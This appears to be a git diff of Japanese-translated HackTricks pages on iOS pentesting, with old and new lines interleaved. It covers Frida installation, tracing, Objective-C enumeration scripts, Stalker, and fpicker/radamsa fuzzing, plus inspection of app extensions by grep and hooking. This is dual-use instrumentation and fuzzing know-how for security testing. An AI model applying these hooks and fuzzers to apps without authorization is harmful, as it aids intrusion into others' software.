**注意**: このタスクに`strings`コマンドを直接使用することは推奨されません。関連情報を見つける際の制限があるためです。代わりに、バイナリに対して`-a`フラグを使用したgrepや、radare2 (`izz`) / rabin2 (`-zz`)を利用することで、より効果的な結果が得られます。

View file

@ -1,77 +1,51 @@
# iOS Fridaの設定
# iOS Frida Configuration
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## Fridaのインストール
Jailbrokenデバイスの**Cydia/Sileo**アプリ移動し、**Manage -> Sources -> Edit -> Add**に移動してFridaのリポジトリ追加します。[**https://build.frida.re** ](https://build.frida.re)を入力します。これにより、ソースリストに新しいソースが追加されます。Fridaのパッケージを**Frida** **ソース**に移動して**インストール**します。
**JailbrokenデバイスにFridaをインストールする手順:**
![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png)
1. Cydia/Sileoアプリを開きます。
2. 管理 -> ソース -> 編集 -> 追加に移動します。
3. URLとして「https://build.frida.re」を入力します。
4. 新しく追加されたFridaソースに移動します。
5. Fridaパッケージをインストールします。
**Corellium**を使用している場合は、Fridaのリリースを[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`。展開してFridaが要求するdylibの場所にコピーします。例`/Users/[youruser]/.cache/frida/gadget-ios.dylib`
**Corellium**を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からFridaリリースをダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`展開してFridaが要求するdylibの場所にコピーします。例`/Users/[youruser]/.cache/frida/gadget-ios.dylib`
インストール後、PCでコマンド**`frida-ls-devices`**を使用してデバイスが表示されるかどうかを確認しますPCはアクセスできる必要があります。\
また、**`frida-ps -Uia`**を実行して、電話の実行中のプロセスを確認します。
インストール後、PCでコマンド **`frida-ls-devices`** を使用してデバイスが表示されることを確認できますPCがアクセスできる必要があります)。\
また、**`frida-ps -Uia`** を実行して、電話の実行プロセスを確認できます。
## JailbrokenデバイスなしでのFridaの使用とアプリのパッチなし
## JailbrokenデバイスなしでFridaを使用する方法アプリのパッチなし
アプリのパッチなしでJailbrokenデバイス以外でFridaを使用する方法については、次のブログ記事を参照してください:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
アプリをパッチせずに非JailbrokenデバイスでFridaを使用する方法については、次のブログ投稿を参照してください:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Fridaクライアントのインストール
**fridaツール**をインストールします
**fridaツール**をインストールします:
```bash
pip install frida-tools
pip install frida
```
Fridaサーバーがインストールされ、デバイスが実行され、接続されている場合、クライアントが動作しているかどうかを**確認**してください。
Fridaサーバーがインストールされ、デバイスが実行され、接続されている場合、**クライアント**が**動作している**かどうかを**確認**してください:
```bash
frida-ls-devices # List devices
frida-ps -Uia # Get running processes
```
## Frida トレース
Frida Traceは、iOSアプリケーションのランタイム動作をトレースするための強力なツールです。Fridaを使用して、アプリケーションの関数呼び出し、引数、戻り値などをリアルタイムで監視および記録することができます。
### Fridaの設定
FridaをiOSデバイスで使用するためには、以下の手順に従って設定を行う必要があります。
1. iOSデバイスにFrida Serverをインストールします。Frida Serverは、デバイス上でFridaを実行するためのバックエンドプロセスです。Frida Serverは、[Fridaの公式ウェブサイト](https://frida.re/)からダウンロードできます。
2. iOSデバイスとホストマシンを同じネットワークに接続します。
3. ホストマシンでFridaクライアントをインストールします。Fridaクライアントは、Frida Serverと通信するためのツールです。Fridaクライアントは、[Fridaの公式ウェブサイト](https://frida.re/)からダウンロードできます。
4. ホストマシンでFridaクライアントを起動し、iOSデバイスのIPアドレスとポート番号を指定して接続します。
### Frida Traceの使用
Frida Traceを使用するには、以下の手順に従って操作します。
1. Fridaクライアントを起動し、iOSデバイスに接続します。
2. トレース対象のアプリケーションを選択します。
3. トレースする関数を選択します。
4. トレースを開始します。
5. アプリケーションを実行し、トレース結果を確認します。
6. トレースが完了したら、結果を分析して必要な情報を取得します。
Frida Traceを使用することで、iOSアプリケーションの動作を詳細にトレースし、セキュリティ上の脆弱性や潜在的な問題を特定することができます。
```bash
# Functions
## Trace all functions with the word "log" in their name
@ -91,11 +65,11 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
```
### すべてのクラスとメソッドを取得する
* オートコンプリート: `frida -U <program>`を実行するだけです。
* オートコンプリート`frida -U <program>`を実行するだけ
<figure><img src="../../.gitbook/assets/image (687).png" alt=""><figcaption></figcaption></figure>
* 使用可能な**すべてのクラス**を取得する(文字列でフィルタリング)
* 利用可能なすべてのクラスを取得する(文字列でフィルタリング)
{% code title="/tmp/script.js" %}
```javascript
@ -117,7 +91,7 @@ console.log("Objective-C runtime is not available.");
```
{% endcode %}
* クラスの**すべてのメソッド**を取得する(文字列でフィルタリング)
* **クラス**の**すべてのメソッド**を取得する(文字列でフィルタリング)
{% code title="/tmp/script.js" %}
```javascript
@ -175,15 +149,15 @@ wg_log(arg0, arg1, txt);
console.log("loaded");
```
## Fridaフジング
## Frida Fuzzing
### Fridaストーカー
### Frida Stalker
ストーカーはFridaのコード**トレースエンジン**です。スレッドを**追跡**し、実行されるすべての関数、すべてのブロック、さらにはすべての命令を**キャプチャ**ます。
[ドキュメントから](https://frida.re/docs/stalker/#:~:text=Stalker%20is%20Frida's%20code%20tracing,every%20instruction%20which%20is%20executed.): StalkerはFridaの**トレースエンジン**です。スレッドを**追跡**し、実行されるすべての関数、**すべてのブロック**、さらにはすべての命令を**キャプチャ**することができます。
Fridaストーカーを実装した例は、[https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)にあります。
Frida Stalkerを実装した例があります[https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
これは、Fridaストーカーを関数が呼び出されるたびにアタッチする別の例です:
これは、関数が呼び出されるたびにFrida Stalkerをアタッチする別の例です:
```javascript
console.log("loading");
const wg_log_addr = Module.findExportByName("<Program>", "<function_name>");
@ -217,12 +191,12 @@ Stalker.flush(); // this is important to get all events
});
```
{% hint style="danger" %}
これはデバッグ目的では興味深いですが、フジングにおいては、常に **`.follow()`** **`.unfollow()`** を行うことは非効率的です。
デバッグ目的では興味深いですが、フジングにおいては、常に**`.follow()`**と**`.unfollow()`**を行うことは非効率的です。
{% endhint %}
## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) は、AFL++ モードやパッシブトレースモードなど、さまざまなフジングモードを提供する **Frida ベースのフジングスイート** です。Frida がサポートしているすべてのプラットフォームで実行できるはずです。
[**fpicker**](https://github.com/ttdennis/fpicker)は、AFL++モードやパッシブトレースモードなど、さまざまなファジングモードを提供する**Fridaベースのファジングスイート**です。Fridaでサポートされているすべてのプラットフォームで実行できるはずです。
* [**fpickerのインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
@ -318,13 +292,13 @@ rpc.exports.fuzzer = f;
```
{% endcode %}
* **ファズツール**をコンパイルします
* **Fuzzerのコンパイル**
```bash
# From inside fpicker clone
## Compile from "myfuzzer.js" to "harness.js"
frida-compile examples/wg-log/myfuzzer.js -o harness.js
```
* **`radamsa`**を使用してファズツール**`fpicker`**を呼び出す:
* **`radamsa`**を使用して**`fpicker`**を呼び出す:
{% code overflow="wrap" %}
```bash
@ -335,20 +309,20 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
{% endcode %}
{% hint style="danger" %}
この場合、各ペイロードの後にアプリを再起動したり、状態を復元したりすることはありません。したがって、Fridaがクラッシュを検出した場合、その後の入力はアプリをクラッシュさせる可能性があります(アプリが不安定な状態にあるため)、たとえその入力がアプリをクラッシュさせるべきでない場合でもです
この場合、各ペイロードの後にアプリを再起動したり状態を復元したりしていません。そのため、Fridaが**クラッシュ**を見つけた場合、そのペイロードの後の**次の入力**はアプリを**クラッシュさせる可能性があります**(アプリが不安定な状態にあるため)、たとえその**入力がアプリをクラッシュさせるべきでない**場合でも。
さらに、FridaはiOSの例外シグナルにフックするため、Fridaがクラッシュを検出した場合、おそらくiOSのクラッシュレポートは生成されません
さらに、FridaはiOSの例外シグナルにフックするため、**Fridaがクラッシュを見つけた場合**、おそらく**iOSクラッシュレポートは生成されない**でしょう
これを防ぐために、例えば、Fridaのクラッシュ後にアプリを再起動することができます。
これを防ぐためには、たとえば、Fridaのクラッシュ後にアプリを再起動することができます。
{% endhint %}
### ログとクラッシュ
macOSコンソールまたは`log` cliを使用してmacOSのログを確認できます。\
また、`idevicesyslog`を使用してiOSのログも確認できます。\
一部のログは、情報を省略して`<private>`と表示されます。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からいくつかのプロファイルをインストールしてそのプライベート情報を有効にする必要があります。
**macOSコンソール**または**`log`** cliを使用してmacOSのログを確認できます。\
**`idevicesyslog`**を使用してiOSからもログを確認できます。\
一部のログには**`<private>`**が追加されて情報が省略されます。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からいくつかのプロファイルをインストールしてそのプライベート情報を有効にする必要があります。
何をすべきかわからない場合は、以下のコマンドを実行してください。
何をすべきかわからない場合は
```sh
vim /Library/Preferences/Logging/com.apple.system.logging.plist
<?xml version="1.0" encoding="UTF-8"?>
@ -362,33 +336,38 @@ vim /Library/Preferences/Logging/com.apple.system.logging.plist
killall -9 logd
```
クラッシュを確認するには、次の手順を実行します:
You can check the crashes in:
- **iOS**
- 設定 → プライバシー → 分析と改善 → 分析データ
- `/private/var/mobile/Library/Logs/CrashReporter/`
- **macOS**:
- `/Library/Logs/DiagnosticReports/`
- `~/Library/Logs/DiagnosticReports`
* **iOS**
* Settings → Privacy → Analytics & Improvements → Analytics Data
* `/private/var/mobile/Library/Logs/CrashReporter/`
* **macOS**:
* `/Library/Logs/DiagnosticReports/`
* `~/Library/Logs/DiagnosticReports`
{% hint style="warning" %}
iOSでは、同じアプリのクラッシュは最大25件まで保存されます。そのため、クラッシュを削除しないと、iOSはクラッシュの作成を停止します。
iOS only stores 25 crashes of the same app, so you need to clean that or iOS will stop creating crashes.
{% endhint %}
## Frida Android チュートリアル
## Frida Android Tutorials
{% content-ref url="../android-app-pentesting/frida-tutorial/" %}
[frida-tutorial](../android-app-pentesting/frida-tutorial/)
{% endcontent-ref %}
## References
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,192 +1,77 @@
# iOSアプリ拡張
# iOS App Extensions
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
</details>
**以下の内容は** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions) **からコピーされました**
アプリ拡張は、他のアプリやシステムとのやり取りをしている間に、カスタム機能やコンテンツをユーザーに提供することをアプリに可能にします。特筆すべきものには以下があります:
* **カスタムキーボード**: iOSシステムキーボードをカスタムキーボードに置き換え、すべてのアプリで使用します。
* **共有**: 共有ウェブサイトに投稿するか、他の人とコンテンツを共有します。
* **今日**: **ウィジェット**とも呼ばれ、通知センターの今日のビューでコンテンツを提供したり、クイックタスクを実行します。
例えば、ユーザーが_ホストアプリ_でテキストを選択し、「共有」ボタンをクリックしてリストから「アプリ」またはアクションを選択します。これにより、_含まれるアプリ_の_アプリ拡張_がトリガーされます。アプリ拡張はホストアプリのコンテキスト内でビューを表示し、ホストアプリが提供するアイテムこの場合は選択されたテキストを使用して特定のタスク例えばソーシャルネットワークに投稿するを実行します。この点を非常によくまとめた[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionOverview.html#//apple_ref/doc/uid/TP40014214-CH2-SW13)の写真をご覧ください:
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQx9khfTwUwYuMti%2Fapp_extensions_communication.png?alt=media)
### **セキュリティ上の考慮事項**
セキュリティの観点から重要な点は以下の通りです:
* **アプリ拡張は、含まれるアプリと直接通信しません**(通常、含まれるアプリ拡張が実行されている間は実行されていません)。
* **アプリ拡張**と**ホストアプリ**は**プロセス間**通信を介して通信します。
* **アプリ拡張**の含まれるアプリと**ホストアプリ**は全く通信しません。
* **今日**の**ウィジェット**(他のアプリ拡張タイプは除く)は、`NSExtensionContext`クラスの`openURL:completionHandler:`メソッドを呼び出すことで、システムに含まれるアプリを開くように要求できます。
* 任意の**アプリ拡張**とその**含まれるアプリ**は、プライベートに定義された共有コンテナ内で共有データに**アクセスできます**。
* アプリ拡張は**一部のAPIにアクセスできません**。例えば、HealthKitです。
* AirDropを使用してデータを**受信することはできません**が、データの送信は可能です。
* 長時間実行されるバックグラウンドタスクは許可されていませんが、アップロードやダウンロードを開始することはできます。
* アプリ拡張はiOSデバイスのカメラやマイクに**アクセスできません**iMessageアプリ拡張を除く
### 静的分析
#### **アプリにアプリ拡張が含まれているかの確認**
元のソースコードを持っている場合は、Xcodeで`NSExtensionPointIdentifier`のすべての出現を検索cmd+shift+fするか、"Build Phases / Embed App extensions"を確認してください:
![](<../../.gitbook/assets/image (496).png>)
そこには、`.appex`で続くすべての埋め込まれたアプリ拡張の名前が見つかります。これで、プロジェクト内の個々のアプリ拡張にナビゲートできます。
元のソースコードを持っていない場合:
アプリバンドルIPAまたはインストールされたアプリ内のすべてのファイルの中で`NSExtensionPointIdentifier`をgrepします。
```bash
$ grep -nr NSExtensionPointIdentifier Payload/Telegram\ X.app/
Binary file Payload/Telegram X.app//PlugIns/SiriIntents.appex/Info.plist matches
Binary file Payload/Telegram X.app//PlugIns/Share.appex/Info.plist matches
Binary file Payload/Telegram X.app//PlugIns/NotificationContent.appex/Info.plist matches
Binary file Payload/Telegram X.app//PlugIns/Widget.appex/Info.plist matches
Binary file Payload/Telegram X.app//Watch/Watch.app/PlugIns/Watch Extension.appex/Info.plist matches
```
SSH経由でもアクセスでき、アプリバンドルを見つけて、内部のPlugInsをすべてリストアップすることができますデフォルトではそこに配置されていますまたは、objectionを使用して行うこともできます
```bash
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # cd PlugIns
/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35/
Telegram X.app/PlugIns
ph.telegra.Telegraph on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection Read Write Name
------------ ------- ------------------ ------ ------- -------------------------
Directory 493 None True False NotificationContent.appex
Directory 493 None True False Widget.appex
Directory 493 None True False Share.appex
Directory 493 None True False SiriIntents.appex
```
#### **サポートされるデータタイプの特定**
これは、ホストアプリShareやAction Extensions経由と共有されるデータにとって重要です。ユーザーがホストアプリであるデータタイプを選択し、ここで定義されたデータタイプと一致する場合、ホストアプリは拡張機能を提供します。これと`UIActivity`を使用したデータ共有との違いに注意する価値があります。そこでは、UTIを使用してドキュメントタイプを定義する必要がありました。そのために拡張機能を持っている必要はありません。`UIActivity`のみを使用してデータを共有することも可能です。
アプリ拡張の`Info.plist`ファイルを調べて、`NSExtensionActivationRule`を探します。そのキーは、サポートされるデータや例えばサポートされるアイテムの最大数などを指定します。例えば:
```markup
<key>NSExtensionAttributes</key>
<dict>
<key>NSExtensionActivationRule</key>
<dict>
<key>NSExtensionActivationSupportsImageWithMaxCount</key>
<integer>10</integer>
<key>NSExtensionActivationSupportsMovieWithMaxCount</key>
<integer>1</integer>
<key>NSExtensionActivationSupportsWebURLWithMaxCount</key>
<integer>1</integer>
</dict>
</dict>
```
ここに存在するデータタイプのみがサポートされ、`MaxCount`が`0`でない場合に限ります。しかし、与えられたUTIを評価するいわゆる述語文字列を使用することで、より複雑なフィルタリングが可能です。詳細については、[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW8)を参照してください。
**含まれるアプリとのデータ共有のチェック**
アプリ拡張とその含まれるアプリは、互いのコンテナへの直接アクセスはできません。しかし、データ共有を有効にすることは可能です。これは["App Groups"](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011195-CH4-SW19)と[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) APIを介して行われます。[Apple App Extension Programming Guide](https://developer.apple.com/library/archive/documentation/General/Conceptual/ExtensibilityPG/ExtensionScenarios.html#//apple_ref/doc/uid/TP40014214-CH21-SW11)からのこの図を参照してください:
![](../../mobile-apps-pentesting/ios-pentesting/broken-reference)
ガイドにも記載されているように、アプリ拡張が`NSURLSession`クラスを使用してバックグラウンドアップロードまたはダウンロードを行う場合、拡張機能とその含まれるアプリの両方が転送されたデータにアクセスできるように、共有コンテナを設定する必要があります。
**アプリがアプリ拡張の使用を制限しているかの確認**
以下のメソッドを使用して特定のタイプのアプリ拡張を拒否することが可能です:
* [`application:shouldAllowExtensionPointIdentifier:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623122-application?language=objc)
しかし、現在これは"custom keyboard"アプリ拡張にのみ可能であり(銀行アプリなどのキーボードを介して機密データを扱うアプリをテストする際に検証する必要があります)。
### 動的分析
ソースコードを持たない状態で知識を得るために、動的分析では以下を行うことができます:
* 共有されているアイテムの検査
* 関与しているアプリ拡張の特定
**共有されているアイテムの検査**
これには、データの発信アプリで`NSExtensionContext - inputItems`をフックする必要があります。
Telegramの前の例に続いて、チャットから受け取ったテキストファイルにある"Share"ボタンを使用して、それをNotesアプリでートを作成します
![](<../../.gitbook/assets/image (497).png>)
トレースを実行すると、以下の出力が表示されます:
```bash
(0x1c06bb420) NSExtensionContext - inputItems
0x18284355c Foundation!-[NSExtension _itemProviderForPayload:extensionContext:]
0x1828447a4 Foundation!-[NSExtension _loadItemForPayload:contextIdentifier:completionHandler:]
0x182973224 Foundation!__NSXPCCONNECTION_IS_CALLING_OUT_TO_EXPORTED_OBJECT_S3__
0x182971968 Foundation!-[NSXPCConnection _decodeAndInvokeMessageWithEvent:flags:]
0x182748830 Foundation!message_handler
0x181ac27d0 libxpc.dylib!_xpc_connection_call_event_handler
0x181ac0168 libxpc.dylib!_xpc_connection_mach_event
...
RET: (
"<NSExtensionItem: 0x1c420a540> - userInfo:
{
NSExtensionItemAttachmentsKey = (
"<NSItemProvider: 0x1c46b30e0> {types = (\n \"public.plain-text\",\n \"public.file-url\"\n)}"
);
}"
)
```
以下の点に注目してください:
* これはXPCを介して裏で行われ、具体的には`libxpc.dylib`フレームワークを使用する`NSXPCConnection`によって実装されています。
* `NSItemProvider`に含まれるUTIsは`public.plain-text`と`public.file-url`で、後者はTelegramの"Share Extension"の[`Info.plist`](https://github.com/TelegramMessenger/Telegram-iOS/blob/master/Telegram/Share/Info.plist)からの`NSExtensionActivationRule`に含まれています。
**関与するアプリ拡張の特定**
リクエストとレスポンスを処理しているアプリ拡張を特定するには、`NSExtension - _plugIn`をフックすることもできます:
同じ例を再度実行します:
```bash
(0x1c0370200) NSExtension - _plugIn
RET: <PKPlugin: 0x1163637f0 ph.telegra.Telegraph.Share(5.3) 5B6DE177-F09B-47DA-90CD-34D73121C785
1(2) /private/var/containers/Bundle/Application/15E6A58F-1CA7-44A4-A9E0-6CA85B65FA35
/Telegram X.app/PlugIns/Share.appex>
(0x1c0372300) -[NSExtension _plugIn]
RET: <PKPlugin: 0x10bff7910 com.apple.mobilenotes.SharingExtension(1.5) 73E4F137-5184-4459-A70A-83
F90A1414DC 1(2) /private/var/containers/Bundle/Application/5E267B56-F104-41D0-835B-F1DAB9AE076D
/MobileNotes.app/PlugIns/com.apple.mobilenotes.SharingExtension.appex>
```
以下に関与するアプリ拡張が二つあります:
* `Share.appex` はテキストファイル(`public.plain-text` と `public.file-url`)を送信しています。
* `com.apple.mobilenotes.SharingExtension.appex` は受信し、テキストファイルを処理する予定です。
XPCの下で何が起こっているのかもっと学びたい場合は、"libxpc.dylib"からの内部呼び出しを見ることをお勧めします。例えば、[`frida-trace`](https://www.frida.re/docs/frida-trace/)を使用して、自動生成されたスタブを拡張することで、より興味深いと思われるメソッドを深く掘り下げることができます。
###
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの**会社を広告したい**、または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出する。
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
アプリ拡張機能は、他のアプリやシステムとやり取りすることで、カスタム機能やコンテンツを提供することで、アプリの機能を拡張します。これらの拡張機能には次のものがあります:
- **カスタムキーボード**デフォルトのiOSキーボードを置き換え、すべてのアプリでユニークなキーボードを提供します。
- **共有**:ソーシャルネットワークや他の人と直接共有を可能にします。
- **Todayウィジェット**通知センターのTodayビューから素早くコンテンツを提供したり、タスクを実行したりします。
ユーザーがこれらの拡張機能を利用すると、ホストアプリからテキストを共有するなど、拡張機能はこの入力をそのコンテキスト内で処理し、共有された情報を使用してタスクを実行します。これはAppleのドキュメントに詳細に記載されています。
### **セキュリティに関する考慮事項**
主なセキュリティアスペクトには次のものがあります:
- 拡張機能とそれを含むアプリは、直接ではなくプロセス間通信を介して通信します。
